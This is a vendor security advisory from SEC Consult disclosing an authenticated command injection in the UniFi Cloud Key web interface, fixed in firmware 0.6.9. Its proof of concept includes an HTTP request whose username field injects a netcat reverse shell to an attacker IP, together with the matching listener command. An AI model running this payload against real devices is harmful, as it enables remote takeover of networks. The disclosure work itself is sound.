Authenticated Command Injection In Ubiquiti Networks UniFi Cloud Key

Title

Authenticated Command Injection

Product

Ubiquiti Networks UniFi Cloud Key

Vulnerable Version

Firmware version <=0.6.4

Fixed Version

Firmware version >=0.6.9

CVE Number

Impact

high

Found

26.03.2017

By

T. Weber (Office Vienna) | SEC Consult Vulnerability Lab

The Ubiquiti UniFi Cloud Key is prone to command injection in the administrative interface. By abusig the username a command can be injected since the parameters are not filtered.

Vendor Description

“Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets.”

Source: http://ir.ubnt.com/

Business Recommendation

The patch supplied by the vendor should be installed immediately.

There are indications for further security issues within this device, hence SEC Consult recommends performing a detailed review by security professionals.

Vulnerability Overview / Description

1) Authenticated Command Injection in Administrative Interface

A change of the username with a hand crafted request leads to command injection in the administrative interface. This vulnerability can be exploited when the cloud key web interface is exposed to the internet.

An attacker which can access the administrative web interface of the cloud key after cracking a cloud account password is able to execute arbitrary commands without access to the local network. Since the Ubiquiti switches also use the same credentials, the whole network can be compromised over this attack vector.

Proof Of Concept

1) Authenticated Command Injection in Administrative Interface

The following PHP code excerpt is responsible for the username command execution:
(api.inc, line 455)
[...]
function chusername($username) {
exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc);
return $rc;
}
[...]

Since ‘$username’ is not filtered, a command injection is possible. The following POST request opens a reverse-shell to the attacker:

POST /api/account HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
X-Access-Token: <Token>
Referer: $host/manage/maintenance
Content-Length: 57
Cookie: CKSESSIONID=<Session-ID>
Connection: close

{"username":";busybox nc $attackerIP 8999 -e /bin/bash;"}

As listener, netcat was used:
$ nc -lvp <Attacker-Port>

Vulnerable / Tested Versions

Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered. Version 0.6.4 has been checked and found to be vulnerable as well.

Vendor Contact Timeline

2017-03-29 Contacting vendor via HackerOne. Vendor sets status to “Triaged”.
2017-04-24 Asking for a status update; No answer.
2017-05-06 Found update 0.6.4 on the website of the vendor, firmware is still vulnerable.
2017-05-15 Contacted vendor via e-mail and asked for status.
2017-06-01 Vendor sent a link to the fixed version 0.6.9.
2017-06-07 Verified the fix in this version. Vendor marked the issue as resolved.
2017-09-13 Public release of security advisory

Contact

Interested to work with the experts of SEC Consult? Send us your application.
Want to improve your own cyber security with the experts of SEC Consult? Contact our local offices.